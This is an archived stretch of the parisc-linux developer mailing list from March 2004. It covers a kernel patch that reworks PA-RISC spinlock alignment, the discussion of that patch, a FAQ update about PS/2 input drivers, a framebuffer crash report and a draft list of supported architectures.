RCS file: /var/cvs/linux-2.6/include/asm-parisc/atomic.h,v
retrieving revision 1.5
diff -u -p -r1.5 atomic.h
--- a/include/asm-parisc/atomic.h	22 Sep 2003 14:28:12 -0000	1.5
+++ b/include/asm-parisc/atomic.h	15 Mar 2004 06:30:56 -0000
@@ -15,33 +15,48 @@
  */
 
 #ifdef CONFIG_SMP
+typedef struct {
+	unsigned int lock;
+	unsigned int pad[3];
+} atomic_lock_t;
+
 /* Use an array of spinlocks for our atomic_ts.
-** Hash function to index into a different SPINLOCK.
-** Since "a" is usually an address, ">>8" makes one spinlock per 64-bytes.
-*/
+ * Hash function to index into a different SPINLOCK.
+ * Since "a" is usually an address, ">>8" makes one spinlock per 64-bytes.
+ */
 #  define ATOMIC_HASH_SIZE 4
 #  define ATOMIC_HASH(a) (&__atomic_hash[(((unsigned long) a)>>8)&(ATOMIC_HASH_SIZE-1)])
 
-extern spinlock_t __atomic_hash[ATOMIC_HASH_SIZE];
-/* copied from <asm/spinlock.h> and modified */
-#  define SPIN_LOCK(x) \
-	do { while(__ldcw(&(x)->lock) == 0); } while(0)
-	
-#  define SPIN_UNLOCK(x) \
-	do { (x)->lock = 1; } while(0)
+extern atomic_lock_t __atomic_hash[ATOMIC_HASH_SIZE] __lock_aligned;
+
+static inline void atomic_spin_lock(atomic_lock_t *a)
+{
+	while (__ldcw(&a->lock) == 0)
+		while (a->lock == 0);
+}
+
+static inline void atomic_spin_unlock(atomic_lock_t *a)
+{
+	a->lock = 1;
+}
+
 #else
 #  define ATOMIC_HASH_SIZE 1
 #  define ATOMIC_HASH(a)	(0)
-
-/* copied from <linux/spinlock.h> and modified */
-#  define SPIN_LOCK(x) (void)(x)
-	
-#  define SPIN_UNLOCK(x) do { } while(0)
+#  define atomic_spin_lock(x) (void)(x)
+#  define atomic_spin_unlock(x) do { } while(0)
 #endif
 
 /* copied from <linux/spinlock.h> and modified */
-#define SPIN_LOCK_IRQSAVE(lock, flags)		do { local_irq_save(flags);       SPIN_LOCK(lock); } while (0)
-#define SPIN_UNLOCK_IRQRESTORE(lock, flags)	do { SPIN_UNLOCK(lock);  local_irq_restore(flags); } while (0)
+#define atomic_spin_lock_irqsave(lock, flags)	do { 	\
+	local_irq_save(flags);				\
+	atomic_spin_lock(lock); 			\
+} while (0)
+
+#define atomic_spin_unlock_irqrestore(lock, flags) do {	\
+	atomic_spin_unlock(lock);			\
+	local_irq_restore(flags);			\
+} while (0)
 
 /* Note that we need not lock read accesses - aligned word writes/reads
  * are atomic, so a reader never sees unconsistent values.
@@ -137,22 +152,22 @@ static __inline__ int __atomic_add_retur
 {
 	int ret;
 	unsigned long flags;
-	SPIN_LOCK_IRQSAVE(ATOMIC_HASH(v), flags);
+	atomic_spin_lock_irqsave(ATOMIC_HASH(v), flags);
 
 	ret = (v->counter += i);
 
-	SPIN_UNLOCK_IRQRESTORE(ATOMIC_HASH(v), flags);
+	atomic_spin_unlock_irqrestore(ATOMIC_HASH(v), flags);
 	return ret;
 }
 
 static __inline__ void atomic_set(atomic_t *v, int i) 
 {
 	unsigned long flags;
-	SPIN_LOCK_IRQSAVE(ATOMIC_HASH(v), flags);
+	atomic_spin_lock_irqsave(ATOMIC_HASH(v), flags);
 
 	v->counter = i;
 
-	SPIN_UNLOCK_IRQRESTORE(ATOMIC_HASH(v), flags);
+	atomic_spin_unlock_irqrestore(ATOMIC_HASH(v), flags);
 }
 
 static __inline__ int atomic_read(const atomic_t *v)
Index: include/asm-parisc/bitops.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/bitops.h,v
retrieving revision 1.7
diff -u -p -r1.7 bitops.h
--- a/include/asm-parisc/bitops.h	11 Sep 2003 18:29:02 -0000	1.7
+++ b/include/asm-parisc/bitops.h	15 Mar 2004 06:30:56 -0000
@@ -38,9 +38,9 @@ static __inline__ void set_bit(int nr, v
 
 	addr += (nr >> SHIFT_PER_LONG);
 	mask = 1L << CHOP_SHIFTCOUNT(nr);
-	SPIN_LOCK_IRQSAVE(ATOMIC_HASH(addr), flags);
+	atomic_spin_lock_irqsave(ATOMIC_HASH(addr), flags);
 	*addr |= mask;
-	SPIN_UNLOCK_IRQRESTORE(ATOMIC_HASH(addr), flags);
+	atomic_spin_unlock_irqrestore(ATOMIC_HASH(addr), flags);
 }
 
 static __inline__ void __set_bit(int nr, void * address)
@@ -61,9 +61,9 @@ static __inline__ void clear_bit(int nr,
 
 	addr += (nr >> SHIFT_PER_LONG);
 	mask = 1L << CHOP_SHIFTCOUNT(nr);
-	SPIN_LOCK_IRQSAVE(ATOMIC_HASH(addr), flags);
+	atomic_spin_lock_irqsave(ATOMIC_HASH(addr), flags);
 	*addr &= ~mask;
-	SPIN_UNLOCK_IRQRESTORE(ATOMIC_HASH(addr), flags);
+	atomic_spin_unlock_irqrestore(ATOMIC_HASH(addr), flags);
 }
 
 static __inline__ void __clear_bit(unsigned long nr, volatile void * address)
@@ -84,9 +84,9 @@ static __inline__ void change_bit(int nr
 
 	addr += (nr >> SHIFT_PER_LONG);
 	mask = 1L << CHOP_SHIFTCOUNT(nr);
-	SPIN_LOCK_IRQSAVE(ATOMIC_HASH(addr), flags);
+	atomic_spin_lock_irqsave(ATOMIC_HASH(addr), flags);
 	*addr ^= mask;
-	SPIN_UNLOCK_IRQRESTORE(ATOMIC_HASH(addr), flags);
+	atomic_spin_unlock_irqrestore(ATOMIC_HASH(addr), flags);
 }
 
 static __inline__ void __change_bit(int nr, void * address)
@@ -108,10 +108,10 @@ static __inline__ int test_and_set_bit(i
 
 	addr += (nr >> SHIFT_PER_LONG);
 	mask = 1L << CHOP_SHIFTCOUNT(nr);
-	SPIN_LOCK_IRQSAVE(ATOMIC_HASH(addr), flags);
+	atomic_spin_lock_irqsave(ATOMIC_HASH(addr), flags);
 	oldbit = (*addr & mask) ? 1 : 0;
 	*addr |= mask;
-	SPIN_UNLOCK_IRQRESTORE(ATOMIC_HASH(addr), flags);
+	atomic_spin_unlock_irqrestore(ATOMIC_HASH(addr), flags);
 
 	return oldbit;
 }
@@ -139,10 +139,10 @@ static __inline__ int test_and_clear_bit
 
 	addr += (nr >> SHIFT_PER_LONG);
 	mask = 1L << CHOP_SHIFTCOUNT(nr);
-	SPIN_LOCK_IRQSAVE(ATOMIC_HASH(addr), flags);
+	atomic_spin_lock_irqsave(ATOMIC_HASH(addr), flags);
 	oldbit = (*addr & mask) ? 1 : 0;
 	*addr &= ~mask;
-	SPIN_UNLOCK_IRQRESTORE(ATOMIC_HASH(addr), flags);
+	atomic_spin_unlock_irqrestore(ATOMIC_HASH(addr), flags);
 
 	return oldbit;
 }
@@ -170,10 +170,10 @@ static __inline__ int test_and_change_bi
 
 	addr += (nr >> SHIFT_PER_LONG);
 	mask = 1L << CHOP_SHIFTCOUNT(nr);
-	SPIN_LOCK_IRQSAVE(ATOMIC_HASH(addr), flags);
+	atomic_spin_lock_irqsave(ATOMIC_HASH(addr), flags);
 	oldbit = (*addr & mask) ? 1 : 0;
 	*addr ^= mask;
-	SPIN_UNLOCK_IRQRESTORE(ATOMIC_HASH(addr), flags);
+	atomic_spin_unlock_irqrestore(ATOMIC_HASH(addr), flags);
 
 	return oldbit;
 }
Index: include/asm-parisc/spinlock.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/spinlock.h,v
retrieving revision 1.1
diff -u -p -r1.1 spinlock.h
--- a/include/asm-parisc/spinlock.h	29 Jul 2003 17:02:04 -0000	1.1
+++ b/include/asm-parisc/spinlock.h	15 Mar 2004 06:30:56 -0000
@@ -4,35 +4,42 @@
 #include <asm/system.h>
 
 /* Note that PA-RISC has to use `1' to mean unlocked and `0' to mean locked
- * since it only has load-and-zero.
+ * since it only has load-and-zero. Moreover, at least on some PA processors,
+ * the semaphore address has to be 16-byte aligned.
  */
 
 #undef SPIN_LOCK_UNLOCKED
-#define SPIN_LOCK_UNLOCKED (spinlock_t) { 1 }
+#define SPIN_LOCK_UNLOCKED (spinlock_t) { { 1, 1, 1, 1 } }
 
-#define spin_lock_init(x)	do { (x)->lock = 1; } while(0)
+#define spin_lock_init(x)	do { *(x) = SPIN_LOCK_UNLOCKED; } while(0)
 
-#define spin_is_locked(x) ((x)->lock == 0)
-
-#define spin_unlock_wait(x)	do { barrier(); } while(((volatile spinlock_t *)(x))->lock == 0)
-
-#if 1
-#define _raw_spin_lock(x) do { \
-	while (__ldcw (&(x)->lock) == 0) \
-		while (((x)->lock) == 0) ; } while (0)
-
-#else
-#define _raw_spin_lock(x) \
-	do { while(__ldcw(&(x)->lock) == 0); } while(0)
-#endif
+static inline int spin_is_locked(spinlock_t *x)
+{
+	volatile unsigned int *a = __ldcw_align(x);
+	return *a == 0;
+}
+
+#define spin_unlock_wait(x)	do { barrier(); } while(spin_is_locked(x))
+
+static inline void _raw_spin_lock(spinlock_t *x)
+{
+	volatile unsigned int *a = __ldcw_align(x);
+	while (__ldcw(a) == 0)
+		while (*a == 0);
+}
+
+static inline void _raw_spin_unlock(spinlock_t *x)
+{
+	volatile unsigned int *a = __ldcw_align(x);
+	*a = 1;
+}
+
+static inline int _raw_spin_trylock(spinlock_t *x)
+{
+	volatile unsigned int *a = __ldcw_align(x);
+	return __ldcw(a) != 0;
+}
 	
-#define _raw_spin_unlock(x) \
-	do { (x)->lock = 1; } while(0)
-
-#define _raw_spin_trylock(x) (__ldcw(&(x)->lock) != 0)
-
-
-
 /*
  * Read-write spinlocks, allowing multiple readers
  * but only one writer.
@@ -42,7 +49,7 @@ typedef struct {
 	volatile int counter;
 } rwlock_t;
 
-#define RW_LOCK_UNLOCKED (rwlock_t) { {1}, 0 }
+#define RW_LOCK_UNLOCKED (rwlock_t) { { { 1, 1, 1, 1 } }, 0 }
 
 #define rwlock_init(lp)	do { *(lp) = RW_LOCK_UNLOCKED; } while (0)
 
Index: include/asm-parisc/system.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/system.h,v
retrieving revision 1.1
diff -u -p -r1.1 system.h
--- a/include/asm-parisc/system.h	29 Jul 2003 17:02:04 -0000	1.1
+++ b/include/asm-parisc/system.h	15 Mar 2004 06:30:57 -0000
@@ -145,6 +145,19 @@ static inline void set_eiem(unsigned lon
 	__ret; \
 })
 
+/* Because kmalloc only guarantees 8-byte alignment for kmalloc'd data,
+   and GCC only guarantees 8-byte alignment for stack locals, we can't
+   be assured of 16-byte alignment for atomic lock data even if we
+   specify "__attribute ((aligned(16)))" in the type declaration.  So,
+   we use a struct containing an array of four ints for the atomic lock
+   type and dynamically select the 16-byte aligned int from the array
+   for the semaphore.  */
+#define __PA_LDCW_ALIGNMENT 16
+#define __ldcw_align(a) ({ \
+  unsigned long __ret = (unsigned long) a;                     		\
+  __ret = (__ret + __PA_LDCW_ALIGNMENT - 1) & ~(__PA_LDCW_ALIGNMENT - 1); \
+  (volatile unsigned int *) __ret;                                      \
+})
 
 #ifdef CONFIG_SMP
 /*
@@ -152,8 +165,11 @@ static inline void set_eiem(unsigned lon
  */
 
 typedef struct {
-	volatile unsigned int __attribute__((aligned(16))) lock;
+	volatile unsigned int lock[4];
 } spinlock_t;
+
+#define __lock_aligned __attribute__((__section__(".data.lock_aligned")))
+
 #endif
 
 #endif


From - Thu Nov 08 21:31:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Spinlock patch, take 2
Date: Mon, 15 Mar 2004 02:37:40 -0500
Lines: 12
Approved: news@gmane.org
Message-ID: <20040315073740.GA660@baldric.uwo.ca>
References: <20040315063318.GC2384@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623271 6614 80.91.229.3 (22 Nov 2014 02:27:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: carlos@baldric.uwo.ca  Mon Mar 15 00:39:35 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5340448A2
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Mar 2004 00:39:35 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1B2mfM-0000BO-00; Mon, 15 Mar 2004 02:37:40 -0500
Content-Disposition: inline
In-Reply-To: <20040315063318.GC2384@tausq.org>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (93% Sync Ratio [=========.])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 15 Mar 2004 07:39:35 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21090

On Sun, Mar 14, 2004 at 10:33:18PM -0800, Randolph Chung wrote:
> Here's another version of my spinlock patch against 2.6.4. It optimizes
> spinlocks used for atomic operations by putting the atomic locks into a
> special section that is guaranteed to be 16-byte aligned, so no runtime
> alignment is needed. Build-tested against 2.6.4. Comments?

Looks beautiful. Is it measurably faster, or just semantically more
correct than the existing implementation? :)

c.



From - Thu Nov 08 21:31:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Spinlock patch, take 2
Date: Sun, 14 Mar 2004 23:43:46 -0800
Lines: 15
Approved: news@gmane.org
Message-ID: <20040315074346.GD2384@tausq.org>
References: <20040315063318.GC2384@tausq.org>
	<20040315073740.GA660@baldric.uwo.ca>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623272 6616 80.91.229.3 (22 Nov 2014 02:27:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: randolph@tausq.org  Mon Mar 15 00:43:47 2004
Return-Path: <randolph@tausq.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id D04DE48A2
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Mar 2004 00:43:46 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id DDA0ACD28A; Sun, 14 Mar 2004 23:43:46 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <20040315073740.GA660@baldric.uwo.ca>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 15 Mar 2004 07:43:47 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21091

> Looks beautiful. Is it measurably faster, or just semantically more
> correct than the existing implementation? :)

i have not done any measurements. the spinlock_t stuff is needed since
we've agreed that the attribute((aligned(16)) is not sufficient to
guarantee correct alignment. the atomic-lock optimization is based on
some discussions we had a few months ago. i'd like to actually try
these, but we still don't have a bootable SMP kernel yet :(

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:31:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Martin Schulze <joey@infodrom.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Re: No PS2 keyboard/mouse on B132L, 2.6.[34]
Date: Mon, 15 Mar 2004 09:42:47 +0100
Lines: 43
Approved: news@gmane.org
Message-ID: <20040315084247.GJ9104@finlandia.infodrom.north.de>
References: <25271.193.161.152.244.1078745317.squirrel@www.puszczka.com>
	<200403091103.29310.deller@gmx.de>
	<20040314073706.GA28440@finlandia.infodrom.north.de>
	<200403142048.27506.deller@gmx.de>
	<20040314204959.GA32470@finlandia.infodrom.north.de>
	<20040315003127.GA11856@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
X-Trace: ger.gmane.org 1416623272 6619 80.91.229.3 (22 Nov 2014 02:27:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:52 +0000 (UTC)
To: PA-RISC Linux Hacker <parisc-linux@lists.parisc-linux.org>
Original-X-From: joey@infodrom.org  Mon Mar 15 02:28:49 2004
Return-Path: <joey@infodrom.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from luonnotar.infodrom.org (luonnotar.infodrom.org [195.124.48.78])
	by dsl2.external.hp.com (Postfix) with ESMTP id B406C48A2
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Mar 2004 02:28:49 -0700 (MST)
Original-Received: by luonnotar.infodrom.org (Postfix, from userid 10)
	id 11EC3366B68; Mon, 15 Mar 2004 09:46:35 +0100 (CET)
Original-Received: at Infodrom Oldenburg (/\##/\ Smail-3.2.0.102 1998-Aug-2 #2)
	from infodrom.org by finlandia.Infodrom.North.DE via smail from stdin
	id <m1B2ngO-000ojuC@finlandia.Infodrom.North.DE>
	for parisc-linux@lists.parisc-linux.org;
	Mon, 15 Mar 2004 09:42:48 +0100 (CET) 
Content-Disposition: inline
In-Reply-To: <20040315003127.GA11856@colo.lackof.org>
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 15 Mar 2004 09:28:50 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21092

Grant Grundler wrote:
> > Well, if you *know* that it's a PS/2 mouse and PS/2 keyboard, you're
> > correct.  However, does everybody know that who gets hold of a PARISC
> > machine fully equipped with HIL hub and stuff?  Maybe it's just me
> > who hasn't expected that since the old (really old) machines didn't
> > use pc standard equipment and since PA machines usually use different
> > parts.  You choose since you're more familiar with the port.
> 
> Well, maybe it would be better to make this a FAQ on the parisc-linux
> web site?

Aye!

--- /tmp/work/faq.html.orig	2004-03-15 09:36:25.000000000 +0100
+++ /tmp/work/faq.html	2004-03-15 09:41:54.000000000 +0100
@@ -8,6 +8,23 @@
   <li>First of all, your kernel has to be 2.4.18-pa45 or higher.<br>
       Earlier kernel versions will not work !
   </li>
+
+  <li>In the latest 2.6 kernel series, we switched from a PA-RISC-only
+      PS/2 mouse/keyboard driver to the standard Linux kernel PS/2
+      mouse and keyboard drivers.  Hence, in order to get your PS/2
+      mouse/keyboard connected via HIL work you'll have to enable
+      <ul>
+      <li> CONFIG_KEYBOARD_ATKBD
+      <li> CONFIG_MOUSE_PS2
+      </ul>
+      in addition to
+      <ul>
+      <li> CONFIG_INPUT_KEYBOARD
+      <li> CONFIG_KEYBOARD_HIL
+      <li> CONFIG_INPUT_MOUSE
+      <li> CONFIG_MOUSE_HIL
+      </ul>
+  </li>
   <li>On the bash prompt enter as root the following comand:<br>
       <code>cd /dev && ./MAKEDEV input</code><br>
       This command creates the standard input device nodes in the /dev/input/

-- 
Whenever you meet yourself you're in a time loop or in front of a mirror.


From - Thu Nov 08 21:31:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Andy Walker" <ajwalker@broadpark.no>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] STI crash on B132L with HCRX-24
Date: Mon, 15 Mar 2004 11:21:25 +0100 (CET)
Lines: 25
Approved: news@gmane.org
Message-ID: <58996.193.161.152.244.1079346085.squirrel@www.puszczka.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623272 6623 80.91.229.3 (22 Nov 2014 02:27:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:52 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: ajwalker@broadpark.no  Mon Mar 15 03:13:19 2004
Return-Path: <ajwalker@broadpark.no>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.broadpark.no (mail.broadpark.no [217.13.4.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 36B1648A2
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Mar 2004 03:13:19 -0700 (MST)
Original-Received: from tolstoy.puszczka.com (47.80-202-73.nextgentel.com
	[80.202.73.47])
	by mail.broadpark.no (Postfix) with ESMTP id 3FB715D75
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Mar 2004 11:13:12 +0100 (MET)
Original-Received: by tolstoy.puszczka.com (Postfix, from userid 81)
	id 4270882EF; Mon, 15 Mar 2004 11:21:25 +0100 (CET)
Original-Received: from 193.161.152.244 (SquirrelMail authenticated user andy)
	by www.puszczka.com with HTTP; Mon, 15 Mar 2004 11:21:25 +0100 (CET)
User-Agent: SquirrelMail/1.4.2
X-Priority: 3
Importance: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 15 Mar 2004 10:13:19 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21093

Re-post as I forgot the subject first time round :-(

My B132L has its console on an HCRX-24Z GSC card (A4071B_LZ). In
2.4.25-pa1 it defaults to 32bpp and works fine. In 2.6.4-rc1-pa2 (and
2.6.3-pa0) it
defaults to 8bpp which also works fine. The problem occurs if I try to run
2.6.x in 32bpp (either via stifb=bpp:32, or by hacking stifb.c). The machine
locks hard immediately after switching to the FB. The screen is full of
corrupted junk in psychedelic colours from the previous shutdown and I
have to hit the power button to boot again.

The HCRX24 is correctly identified in stifb.c as S9000_ID_HCRX and
IS_24_DEVICE(fb) is true. Is anybody using one of these cards in 32bpp?
Should I try an HCRX-24 without the the Z board? I see that the code has
been  shuffled around a bit between 2.4.25 and 2.6.x and I'm not exactly
sure where to start looking for problems. Studying the listings side by
side I'm suspicious of the colormap stuff, but only because I don't yet
understand a) how it works, and b) the changes between 2.4 and 2.6.

cheers,
-Andy





From - Thu Nov 08 21:31:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: pinotj@club-internet.fr
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [DOC] Linux 2.6.4
Date: Mon, 15 Mar 2004 14:53:05 CET
Lines: 65
Approved: news@gmane.org
Message-ID: <mnet8.1079358785.20900.pinotj@club-internet.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623272 6625 80.91.229.3 (22 Nov 2014 02:27:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:52 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: pinotj@club-internet.fr  Mon Mar 15 06:53:06 2004
Return-Path: <pinotj@club-internet.fr>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from relay-2v.club-internet.fr (relay-2v.club-internet.fr
	[194.158.96.113])
	by dsl2.external.hp.com (Postfix) with ESMTP id A80B848A2
	for <parisc-linux@parisc-linux.org>;
	Mon, 15 Mar 2004 06:53:06 -0700 (MST)
Original-Received: from club-internet.fr (flashmail-5v.cs.clubint.net [172.16.0.156])
	by relay-2v.club-internet.fr (Postfix) with SMTP id 36D28168A
	for <parisc-linux@parisc-linux.org>;
	Mon, 15 Mar 2004 14:53:05 +0100 (CET)
Original-Received: from [218.233.102.145] by flashmail-5v.club-internet.fr via html
	interface
X-Mailer: Medianet/v2.0
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 15 Mar 2004 13:53:07 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21094

Hi, =


I wrote this week-end a document to sum up all the arch that Linux 2.6.4 s=
upport. I extracted the informations from the source and I would like to h=
ave comments/changes/advice from you about the PA-RISC part. I have maybe =
make some mistake and/or things are little bit different so I would like y=
ou to take a look at this (I removed the non-PARISC parts, the complete fi=
le is around 11ko) before suggesting a patch. =


Thanks, =

(Please cc me) =


Jerome Pinot

diff -Nru -U 2 linux-2.6.4.orig/Documentation/ARCH linux-2.6.4/Documentati=
on/ARCH
--- linux-2.6.4.orig/Documentation/ARCH	1970-01-01 09:00:00.000000000 +090=
0
+++ linux-2.6.4/Documentation/ARCH	2004-03-15 16:20:06.000000000 +0900
=40=40 -0,0 +1,425 =40=40
+
+March 2004		Supported arch for Linux		v2.6.4
+			=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E
+
+
+The following is a quite complete list of all the arch supported by Linux=
=2E
+Of course, you will find here Alpha, ARM, ARM26, CRIS, H8300, i386, IA-64=
,
+M68000, MIPS, PA-RISC, PPC, S390, SH, SPARC, v850 and x86-64. But you wil=
l
+find too a complete list of CPUs and board supported by the kernel. For =

+each part, first list means =22board=22 and second one means =22CPU=22.
+
+
+ Content:
+ =7E=7E=7E=7E=7E=7E=7E=7E
+	1. i386		7. IA-64		13. S390
+	2. Alpha	8. M68K (w/o MMU)	14. SuperH
+	3. ARM		9. MIPS (32/64)		15. SPARC
+	4. ARM26	10. PA-RISC		16. UltraSPARC
+	5. CRIS		11. PPC			17. v850
+	6. H8300	12. PPC64		18. x86-64

=5Bsnip=5D

+ 10. PA-RISC
+ =7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E
+	PA7000/PA7100
+	PA7100LC/PA7300LC	(used in 712, 715/Mirage, A180, B132, C160L)
+	PA7200			(PCX-T' processor used in C110, D100 ...)
+	PA8000			(PCX-U to PCX-W2 processors)
+
